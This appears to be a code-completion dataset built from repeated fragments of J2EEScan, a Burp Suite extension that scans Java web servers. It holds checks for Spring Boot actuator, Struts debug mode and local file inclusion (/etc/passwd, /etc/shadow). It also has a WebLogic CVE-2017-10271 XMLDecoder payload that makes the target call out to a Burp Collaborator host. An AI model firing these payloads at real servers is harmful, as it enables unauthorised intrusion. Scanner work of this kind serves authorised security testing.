REMEDY,
Risk.Low,
Confidence.Certain
));
}
}
} catch (MalformedURLException ex) {
stderr.println("Error creating URL " + ex.getMessage());
}
}
}
/**
* Test on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test the issue
*
* Ex: http://www.example.com/myapp/manage/env
*/ | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/SpringBootActuator.java
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
if (matches.size() > 0) {
callbacks.addScanIssue(new CustomScanIssue(
baseRequestResponse.getHttpService(),
urlToTest,
checkRequestResponse,
TITLE,
DESCRIPTION,
REMEDY,
Risk.Low,
Confidence.Certain
));
}
}
} catch (MalformedURLException ex) {
stderr.println("Error creating URL " + ex.getMessage());
}
}
}
/**
* Test on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test the issue
*
* Ex: http://www.example.com/myapp/manage/env
*/ | String context = getApplicationContext(url); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsDebugMode.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; |
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
if (!isJavaApplicationByURL(url)) {
return issues;
}
byte[] rawrequest = baseRequestResponse.getRequest();
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("debug", "console", IParameter.PARAM_URL)
);
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequest);
byte[] response = checkRequestResponse.getResponse(); | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsDebugMode.java
import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
if (!isJavaApplicationByURL(url)) {
return issues;
}
byte[] rawrequest = baseRequestResponse.getRequest();
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("debug", "console", IParameter.PARAM_URL)
);
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequest);
byte[] response = checkRequestResponse.getResponse(); | List<int[]> matches = getMatches(response, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsDebugMode.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
if (!isJavaApplicationByURL(url)) {
return issues;
}
byte[] rawrequest = baseRequestResponse.getRequest();
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("debug", "console", IParameter.PARAM_URL)
);
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequest);
byte[] response = checkRequestResponse.getResponse();
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsDebugMode.java
import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
if (!isJavaApplicationByURL(url)) {
return issues;
}
byte[] rawrequest = baseRequestResponse.getRequest();
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("debug", "console", IParameter.PARAM_URL)
);
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequest);
byte[] response = checkRequestResponse.getResponse();
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/WeblogicCVE201710271.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | + " <void idref=\"url\">"
+ " <void id=\"stream\" method = \"openStream\" />"
+ " </void>"
+ " </java>"
+ "</work:WorkContext>"
+ "</soapenv:Header>"
+ "<soapenv:Body/>"
+ "</soapenv:Envelope>";
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
for (String WLS_WSAT_PATH : WLS_WSAT_PATHS) {
List<String> headers = new ArrayList<>();
headers.add(String.format("POST %s HTTP/1.1", WLS_WSAT_PATH));
headers.add("Host: " + url.getHost() + ":" + url.getPort());
headers.add("Content-Type: text/xml");
headers.add("Cookie: ADMINCONSOLESESSION=pTsBVcsdVx2g20mxPJyyPDvqTwQmQDtw7R541DGJGGXD2qh4rDBJ!1211788216");
String finalPayload = String.format(serializedRce, currentCollaboratorPayload);
byte[] serializedMessage = helpers.buildHttpMessage(headers, finalPayload.getBytes());
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), serializedMessage);
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) { | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/WeblogicCVE201710271.java
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
+ " <void idref=\"url\">"
+ " <void id=\"stream\" method = \"openStream\" />"
+ " </void>"
+ " </java>"
+ "</work:WorkContext>"
+ "</soapenv:Header>"
+ "<soapenv:Body/>"
+ "</soapenv:Envelope>";
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
for (String WLS_WSAT_PATH : WLS_WSAT_PATHS) {
List<String> headers = new ArrayList<>();
headers.add(String.format("POST %s HTTP/1.1", WLS_WSAT_PATH));
headers.add("Host: " + url.getHost() + ":" + url.getPort());
headers.add("Content-Type: text/xml");
headers.add("Cookie: ADMINCONSOLESESSION=pTsBVcsdVx2g20mxPJyyPDvqTwQmQDtw7R541DGJGGXD2qh4rDBJ!1211788216");
String finalPayload = String.format(serializedRce, currentCollaboratorPayload);
byte[] serializedMessage = helpers.buildHttpMessage(headers, finalPayload.getBytes());
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), serializedMessage);
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/J2EELFIRetriever.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] STRUTS_PATTERN = "<struts".getBytes();
// List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SHADOW_PATTERN = "root:".getBytes();
// List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
//
// return (matchesShadow.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
// final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
// List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
//
// return (matchesIbmweb.size() > 0);
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SPRING_PATTERN = "<beans".getBytes();
// List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List; |
IHttpRequestResponse passwdRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(passwdLFIRequest));
byte[] passwdResponse = passwdRequestResponse.getResponse();
if (isEtcPasswdFile(passwdResponse, helpers)) {
cb.addScanIssue(new CustomScanIssue(
baseRequestResponse.getHttpService(),
requestInfo.getUrl(),
passwdRequestResponse,
"Local File Include - /etc/passwd Retrieved",
"J2EEScan was able to retrieve the <i>/etc/passwd</i> resource through the LFI vulnerability",
